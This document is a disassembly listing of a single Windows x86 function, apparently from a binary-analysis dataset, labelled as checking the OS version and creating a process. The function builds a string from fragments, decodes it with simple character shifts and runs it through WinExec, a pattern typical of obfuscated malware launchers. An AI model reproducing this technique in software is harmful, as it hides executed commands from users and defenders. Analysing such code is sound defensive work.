Function at 0x401000
Capabilities:
Check os version
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x41a9a7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x104
push esi
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x78]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x78], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x1c]
call fcn.004013f0
lea ecx, [esp + 0x1c]
mov dword [esp + 0x114], 0
call fcn.00401f50
mov edx, dword [esp + 0x7c]
xor ecx, ecx
cmp edx, 6
sete cl
mov dword [esp + 0x40], ecx
lea ecx, [esp + 0x1c]
call fcn.00403820
lea ecx, [esp + 0x1c]
call fcn.00403a60
push 0x422154
lea ecx, [esp + 0x10]
call fcn.004142a3
push 0x422150
lea ecx, [esp + 0x10]
mov byte [esp + 0x118], 1
call fcn.004145c5
push 0x42214c
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422148
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422144
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422140
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x42213c
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422150
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422148
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422138
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422140
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x42214c
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422150
lea ecx, [esp + 0x10]
call fcn.004145c5
push 0x422138
lea ecx, [esp + 0x10]
call fcn.004145c5
mov eax, dword [esp + 0xc]
xor esi, esi
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x40117f
mov al, byte [esi + eax]
cmp al, 0x20
mov byte [esp + 0x10], al
je 0x401166
dec al
mov byte [esp + 0x10], al
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push edx
push esi
call fcn.004146fd
mov eax, dword [esp + 0xc]
inc esi
cmp esi, dword [eax - 8]
jl 0x401155
push 0x422134
lea ecx, [esp + 0x18]
call fcn.004142a3
mov eax, dword [0x4223e4]
mov dword [esp + 8], eax
push 0x422130
lea ecx, [esp + 0xc]
mov byte [esp + 0x118], 3
call fcn.00414372
push 0x42212c
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422128
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422138
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422124
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422120
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422120
lea ecx, [esp + 0xc]
call fcn.004145c5
mov eax, dword [esp + 8]
xor esi, esi
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x401230
mov cl, byte [eax + esi]
sub cl, 3
mov byte [esp + 0x10], cl
mov edx, dword [esp + 0x10]
push edx
push esi
lea ecx, [esp + 0x10]
call fcn.004146fd
mov eax, dword [esp + 8]
inc esi
cmp esi, dword [eax - 8]
jl 0x40120d
lea eax, [esp + 8]
lea ecx, [esp + 0x14]
push eax
call fcn.00414601
push 0x422134
lea ecx, [esp + 0x18]
call fcn.004145c5
push 0x42212c
lea ecx, [esp + 0xc]
call fcn.00414372
push 0x422150
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422138
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x42211c
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422118
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x422114
lea ecx, [esp + 0xc]
call fcn.004145c5
push str.d.anwrlSo_tcgiejkqmfpbhzyxvsu
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x42212c
lea ecx, [esp + 0xc]
call fcn.004145c5
push 0x42212c
lea ecx, [esp + 0xc]
call fcn.004145c5
lea ecx, [esp + 8]
push ecx
lea ecx, [esp + 0x18]
call fcn.00414601
push 0x42213c
lea ecx, [esp + 0x18]
call fcn.004145c5
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00414418
lea edx, [esp + 0xc]
mov byte [esp + 0x114], 4
push edx
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00414418
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x10]
call fcn.00414235
lea ecx, [esp + 0x18]
mov byte [esp + 0x114], 3
call fcn.00414235
lea ecx, [esp + 0x1c]
call fcn.004037b0
lea ecx, [esp + 0x1c]
call fcn.00402e30
lea ecx, [esp + 8]
mov byte [esp + 0x114], 2
call fcn.00414235
lea ecx, [esp + 0x14]
mov byte [esp + 0x114], 1
call fcn.00414235
lea ecx, [esp + 0xc]
mov byte [esp + 0x114], 0
call fcn.00414235
lea ecx, [esp + 0x1c]
mov dword [esp + 0x114], 0xffffffff
call fcn.004014d0
mov ecx, dword [esp + 0x10c]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x110
ret